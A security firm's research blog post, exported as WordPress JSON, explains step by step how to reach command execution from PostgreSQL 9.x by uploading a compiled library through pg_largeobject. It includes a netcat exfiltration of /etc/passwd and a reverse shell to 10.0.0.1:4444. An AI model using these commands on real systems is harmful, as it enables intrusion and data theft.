{"id":2914,"date":"2017-10-26T16:39:23","date_gmt":"2017-10-26T15:39:23","guid":{"rendered":"https:\/\/dn-www.azurewebsites.net\/2017\/10\/26\/postgresql-9-x-remote-command-execution\/"},"modified":"2024-02-06T10:13:07","modified_gmt":"2024-02-06T10:13:07","slug":"postgresql-9-x-remote-command-execution","status":"publish","type":"post","link":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/","title":{"rendered":"PostgreSQL 9.x Remote Command Execution"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"2914\" class=\"elementor elementor-2914\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-50418c98 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"50418c98\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3ad7c9d9\" data-id=\"3ad7c9d9\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-467e1354 elementor-widget elementor-widget-text-editor\" data-id=\"467e1354\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented &#8211; there is even a <a href=\"https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/postgres\/postgres_payload\">Metasploit module<\/a> to make the process very simple &#8211; this was slightly more complex for PostgreSQL 9.x. For PostgreSQL 8.1 and earlier, something similar to the following will allow for command execution (from <a href=\"https:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/postgres-sql-injection-cheat-sheet\">https:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/postgres-sql-injection-cheat-sheet<\/a>):<\/p>\n<div>\n<p><samp>&gt; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS &#8216;\/lib\/x86_64-linux-gnu\/libc.so.6&#8217;, &#8216;system&#8217; LANGUAGE &#8216;c&#8217; STRICT;<br>&gt; SELECT system(&#8216;cat \/etc\/passwd | nc &lt;attacker IP&gt; &lt;attacker port&gt;&#8217;);<\/samp><\/p>\n<\/div>\n<p>This method requires knowledge of the location of libc on the system, though this is easy to obtain by enumerating through a small subset of likely locations, either in the above command, or in attempts to read libc into a table.<\/p>\n<p>However, when attempted on PostgreSQL 9.0, the following error was shown:<\/p>\n<div>\n<p><samp>ERROR:&nbsp; incompatible library &#8220;\/lib\/x86_64-linux-gnu\/libc.so.6&#8221;: missing magic block<br>HINT:&nbsp; Extension libraries are required to use the PG_MODULE_MAGIC macro.<\/samp><\/p>\n<\/div>\n<p>This error is explained in the <a href=\"https:\/\/www.postgresql.org\/docs\/current\/static\/xfunc-c.html\">PostgreSQL documentation<\/a>:<\/p>\n<div style=\"font-size:12\">\n<blockquote><p><span style=\"font-size:12px;\">To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a &#8220;magic block&#8221; with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:<\/span><\/p>\n<p><span style=\"font-size:12px;\"><samp>#ifdef PG_MODULE_MAGIC<br>PG_MODULE_MAGIC;<br>#endif<\/samp><\/span><\/p>\n<p><span style=\"font-size:12px;\">The <code>#ifdef<\/code> test can be omitted if the code doesn&#8217;t need to compile against pre-8.2 PostgreSQL releases.<\/span><\/p>\n<\/blockquote>\n<\/div>\n<p>So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block. This blog post goes through compiling a library which includes this magic block, uploading it to the server through SQL queries, and then obtaining command execution from this library. I have also released a script to simplify this process, along with precompiled libraries for all currently released major versions of PostgreSQL since 8.2 on the <a href=\"https:\/\/github.com\/Dionach\/pgexec\/tree\/master\">Dionach GitHub page<\/a>. This script is discussed in more detail at the end of this post.<\/p>\n<h4>Compiling the library<\/h4>\n<p>To compile the library, a Linux machine with the same version of PostgreSQL as the target machine is required. The sources for PostgreSQL, with included installation instructions, can be found here (<a href=\"https:\/\/www.postgresql.org\/ftp\/source\/\">https:\/\/www.postgresql.org\/ftp\/source\/<\/a>). You can obtain the version of PostgreSQL running on the target machine using:<\/p>\n<div>\n<p><samp>&gt; SELECT version();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; version<br>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br>&nbsp;<strong>PostgreSQL 9.6.3<\/strong> on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit<br>(1 row)<\/samp><\/p>\n<\/div>\n<p>The major versions have to match, so in this case compiling a library using any 9.6.x should work. If they are running the latest version of PostgreSQL, then installing using your system&#8217;s package manager may be easier, though you will also have to install the necessary header files. On Debian, this can be achieved using:<\/p>\n<div>\n<p><samp># apt install postgresql postgresql-server-dev-9.6<\/samp><\/p>\n<\/div>\n<p>After that, compile the library found on the <a href=\"https:\/\/github.com\/Dionach\/pgexec\/tree\/master\">GitHub repository<\/a> using:<\/p>\n<div>\n<p><samp>gcc -I$(\/usr\/local\/pgsql\/bin\/pg_config &#8211;includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c<\/samp><\/p>\n<\/div>\n<p>This assumes that you have installed PostgreSQL from source; if you have installed PostgreSQL using your system&#8217;s package manager then you will likely be able to replace &#8220;\/usr\/local\/pgsql\/bin\/pg_config&#8221; with simply &#8220;pg_config&#8221; in the above command, depending on how the package manager installed PostgreSQL. This should create a library named &#8220;pg_exec.so&#8221; which can be uploaded to the target server to allow for command execution using the &#8220;pg_exec&#8221; function of the library.<\/p>\n<h4>Uploading the library<\/h4>\n<p>This file can be uploaded through the use of <a href=\"https:\/\/www.postgresql.org\/docs\/current\/static\/catalog-pg-largeobject.html\">PostgreSQL&#8217;s &#8220;pg_largeobject&#8221; table<\/a>. The process for doing this is to split the file into exactly 2048 byte chunks (excluding the last chunk which may be smaller), encode these chunks using base64, insert these chunks into the &#8220;pg_largeobject&#8221; table, then save the file to the system using PostgreSQL&#8217;s &#8220;lo_export&#8221;. Splitting the object into 2048 byte chunks can be achieved using:<\/p>\n<div>\n<p><samp>$ split -b 2048 pg_exec.so<\/samp><\/p>\n<\/div>\n<p>This will create a series of alphabetically ordered files with names &#8220;xaa&#8221;, &#8220;xab&#8221;, &#8220;xac&#8221;, and so on. The contents of these files needs to be inserted into the &#8220;pg_largeobject&#8221; table before they can be exported to the server. For this, an &#8220;LOID&#8221; needs to be generated on the target server. Connect to the target server&#8217;s PostgreSQL service using the &#8220;psql&#8221; binary installed during the local PostgreSQL install, and issue the following query (note the lack of an &#8220;e&#8221; in &#8220;lo_creat&#8221;):<\/p>\n<div>\n<p><samp>&gt; SELECT lo_creat(-1);<br>lo_creat<br>&#8212;&#8212;&#8212;-<br>&nbsp;&nbsp;&nbsp; 16388<br>(1 row)<\/samp><\/p>\n<\/div>\n<p>This LOID is then used to identify the object in the pg_largeobject table. Inserting chunks into the &#8220;pg_largeobject&#8221; table can be achieved using:<\/p>\n<div>\n<p>&gt; \\set c0 `base64 -w 0 xaa`<br>&gt; INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 0, decode(:&#8217;c0&#8242;, &#8216;base64&#8217;));<br>&gt; \\set c1 `base64 -w 0 xab`<br>&gt; INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 1, decode(:&#8217;c1&#8242;, &#8216;base64&#8217;));<br>[\u2026]<\/p>\n<\/div>\n<p>This needs to be repeated for each chunk, in order, incrementing the &#8220;pageno&#8221; parameter by 1 each time. Once this has been done, the library can be saved to the server using:<\/p>\n<div>\n<p><samp>&gt; SELECT lo_export(16388, &#8216;\/tmp\/pg_exec.so&#8217;);<\/samp><\/p>\n<\/div>\n<h4>Command Execution<\/h4>\n<p>The library should now be present at &#8220;\/tmp\/pg_exec.so&#8221;. The pg_exec method of this library can now be called through PostgreSQL using a similar method to that mentioned at the start of this blog post:<\/p>\n<div>\n<p><samp>&gt; CREATE FUNCTION sys(cstring) RETURNS int AS &#8216;\/tmp\/pg_exec.so&#8217;, &#8216;pg_exec&#8217; LANGUAGE &#8216;c&#8217; STRICT;<\/samp><\/p>\n<\/div>\n<p>Commands can then be run on the target system using the created &#8220;sys&#8221; command. For instance, to send a reverse shell to 10.0.0.1:4444 using netcat, issue the query:<\/p>\n<div>\n<p><samp>&gt; SELECT sys(&#8216;nc -e \/bin\/sh 10.0.0.1 4444&#8217;);<\/samp><\/p>\n<\/div>\n<h4>pgexec.sh<\/h4>\n<p>I have provided a <a href=\"https:\/\/github.com\/Dionach\/pgexec\">script<\/a> which somewhat automates this process. PostgreSQL will still need to be installed from source, though everything else can be done through running the pgexec.sh script at the mention repository. This script will also clean up after itself, removing the uploaded library from the system, deleting any values inserted into the &#8220;pg_largeobject&#8221; table, and deleting the created PostgreSQL function. Further, the script allows you to specify which library to upload, or which source code to use to automatically compile the library.<\/p>\n<p>The help text for the script is shown below:<\/p>\n<div>\n<p><samp>$ .\/pg_exec.sh &#8211;help<br>.\/pg_exec.sh [options]<br>&nbsp;Execute a shell commands on a server using PostgreSQL access<br>&nbsp;Options:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8211;help&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Show this help text and exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -U, &#8211;user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The username to authenticate to the PostgreSQL server with<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -P, &#8211;password&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The password to authenticate to the PostgreSQl server with<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -L, &#8211;library&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A library to upload to the server instead of the default<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -S, &#8211;splitdir&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The temporary directory to store the split parts of the library in<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -h, &#8211;host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The host running the PostgreSQL service<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -p, &#8211;port&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The port that the PostgreSQL service is running on<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -c, &#8211;command&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The command to execute on the server<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -e, &#8211;export&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The path to save the library to on the server<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s, &#8211;source&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The source file to compile the library from<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -f, &#8211;function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The name of the function to be called in the library<\/samp><\/p>\n<\/div>\n<p>Assuming that PostgreSQL was installed from source by following the included instructions, then you will have to add the PostgreSQL binaries to the path to call the script. Creating a reverse shell can be done as shown below:<\/p>\n<div>\n<p><samp>$ PATH=&#8221;\/usr\/local\/pgsql\/bin:$PATH&#8221; .\/pg_exec.sh -U &lt;username&gt; -P &lt;password&gt; -h &lt;hostname&gt; -p &lt;port&gt; -c &#8220;nc -e \/bin\/sh 10.0.0.1 4444&#8221;<\/samp><\/p><p><samp><br><\/samp><\/p>\n<\/div>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented &#8211; there is even a Metasploit module to make the process very simple &#8211; this was slightly more complex for PostgreSQL 9.x. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"content-type":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[207],"class_list":["post-2914","post","type-post","status-publish","format-standard","hentry","category-researchblog","tag-web_applications","wpbf-post"],"contentshake_article_id":"","yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>PostgreSQL 9.x Remote Command Execution<\/title>\n<meta name=\"description\" content=\"During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL\" \/>\n<meta name=\"robots\" content=\"noindex, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PostgreSQL 9.x Remote Command Execution\" \/>\n<meta property=\"og:description\" content=\"During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL\" \/>\n<meta property=\"og:url\" content=\"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/\" \/>\n<meta property=\"og:site_name\" content=\"Dionach\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/dionachcyber\" \/>\n<meta property=\"article:published_time\" content=\"2017-10-26T15:39:23+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-02-06T10:13:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/dionach.development-visionsharp.co.uk\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg?fit=512%2C512&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"512\" \/>\n\t<meta property=\"og:image:height\" content=\"512\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Dionach Admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@dionachcyber\" \/>\n<meta name=\"twitter:site\" content=\"@dionachcyber\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Dionach Admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/\"},\"author\":{\"name\":\"Dionach Admin\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#\\\/schema\\\/person\\\/effca060e22bfa3cc6cd03f74a50fdb4\"},\"headline\":\"PostgreSQL 9.x Remote Command Execution\",\"datePublished\":\"2017-10-26T15:39:23+00:00\",\"dateModified\":\"2024-02-06T10:13:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/\"},\"wordCount\":1565,\"publisher\":{\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#organization\"},\"keywords\":[\"web applications\"],\"articleSection\":[\"researchblog\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/\",\"url\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/\",\"name\":\"PostgreSQL 9.x Remote Command Execution\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#website\"},\"datePublished\":\"2017-10-26T15:39:23+00:00\",\"dateModified\":\"2024-02-06T10:13:07+00:00\",\"description\":\"During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/postgresql-9-x-remote-command-execution\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/homepage-usa\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"PostgreSQL 9.x Remote Command Execution\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#website\",\"url\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/\",\"name\":\"Dionach\",\"description\":\"Real Security in a Virtual World\",\"publisher\":{\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#organization\",\"name\":\"Dionach\",\"url\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/dionach.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg\",\"contentUrl\":\"https:\\\/\\\/dionach.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg\",\"width\":512,\"height\":512,\"caption\":\"Dionach\"},\"image\":{\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/dionachcyber\",\"https:\\\/\\\/x.com\\\/dionachcyber\",\"https:\\\/\\\/uk.linkedin.com\\\/company\\\/dionach-ltd\",\"https:\\\/\\\/www.instagram.com\\\/dionachcyber\\\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/dionach.development-visionsharp.co.uk\\\/en-us\\\/#\\\/schema\\\/person\\\/effca060e22bfa3cc6cd03f74a50fdb4\",\"name\":\"Dionach Admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3061726a64a760303f6ea8f0976d3e8e0a6997b4da543be9a650b81584b4e79e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3061726a64a760303f6ea8f0976d3e8e0a6997b4da543be9a650b81584b4e79e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3061726a64a760303f6ea8f0976d3e8e0a6997b4da543be9a650b81584b4e79e?s=96&d=mm&r=g\",\"caption\":\"Dionach Admin\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"PostgreSQL 9.x Remote Command Execution","description":"During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL","robots":{"index":"noindex","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"en_US","og_type":"article","og_title":"PostgreSQL 9.x Remote Command Execution","og_description":"During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL","og_url":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/","og_site_name":"Dionach","article_publisher":"https:\/\/www.facebook.com\/dionachcyber","article_published_time":"2017-10-26T15:39:23+00:00","article_modified_time":"2024-02-06T10:13:07+00:00","og_image":[{"width":512,"height":512,"url":"https:\/\/i0.wp.com\/dionach.development-visionsharp.co.uk\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg?fit=512%2C512&ssl=1","type":"image\/jpeg"}],"author":"Dionach Admin","twitter_card":"summary_large_image","twitter_creator":"@dionachcyber","twitter_site":"@dionachcyber","twitter_misc":{"Written by":"Dionach Admin","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/#article","isPartOf":{"@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/"},"author":{"name":"Dionach Admin","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#\/schema\/person\/effca060e22bfa3cc6cd03f74a50fdb4"},"headline":"PostgreSQL 9.x Remote Command Execution","datePublished":"2017-10-26T15:39:23+00:00","dateModified":"2024-02-06T10:13:07+00:00","mainEntityOfPage":{"@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/"},"wordCount":1565,"publisher":{"@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#organization"},"keywords":["web applications"],"articleSection":["researchblog"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/","url":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/","name":"PostgreSQL 9.x Remote Command Execution","isPartOf":{"@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#website"},"datePublished":"2017-10-26T15:39:23+00:00","dateModified":"2024-02-06T10:13:07+00:00","description":"During a recent penetration test I was able to gain access to a PostgreSQL 9.0 service. While the process for executing system commands from PostgreSQL","breadcrumb":{"@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/postgresql-9-x-remote-command-execution\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/homepage-usa\/"},{"@type":"ListItem","position":2,"name":"PostgreSQL 9.x Remote Command Execution"}]},{"@type":"WebSite","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#website","url":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/","name":"Dionach","description":"Real Security in a Virtual World","publisher":{"@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#organization","name":"Dionach","url":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#\/schema\/logo\/image\/","url":"https:\/\/dionach.com\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg","contentUrl":"https:\/\/dionach.com\/wp-content\/uploads\/2025\/02\/cropped-Dionach-vertical-col-yel-nomios-black-1.jpg","width":512,"height":512,"caption":"Dionach"},"image":{"@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/dionachcyber","https:\/\/x.com\/dionachcyber","https:\/\/uk.linkedin.com\/company\/dionach-ltd","https:\/\/www.instagram.com\/dionachcyber\/"]},{"@type":"Person","@id":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/#\/schema\/person\/effca060e22bfa3cc6cd03f74a50fdb4","name":"Dionach Admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3061726a64a760303f6ea8f0976d3e8e0a6997b4da543be9a650b81584b4e79e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/3061726a64a760303f6ea8f0976d3e8e0a6997b4da543be9a650b81584b4e79e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3061726a64a760303f6ea8f0976d3e8e0a6997b4da543be9a650b81584b4e79e?s=96&d=mm&r=g","caption":"Dionach Admin"}}]}},"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/ph4Ojq-L0","_links":{"self":[{"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/posts\/2914","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/comments?post=2914"}],"version-history":[{"count":0,"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/posts\/2914\/revisions"}],"wp:attachment":[{"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/media?parent=2914"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/categories?post=2914"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dionach.development-visionsharp.co.uk\/en-us\/wp-json\/wp\/v2\/tags?post=2914"}],"curies":[{"name":"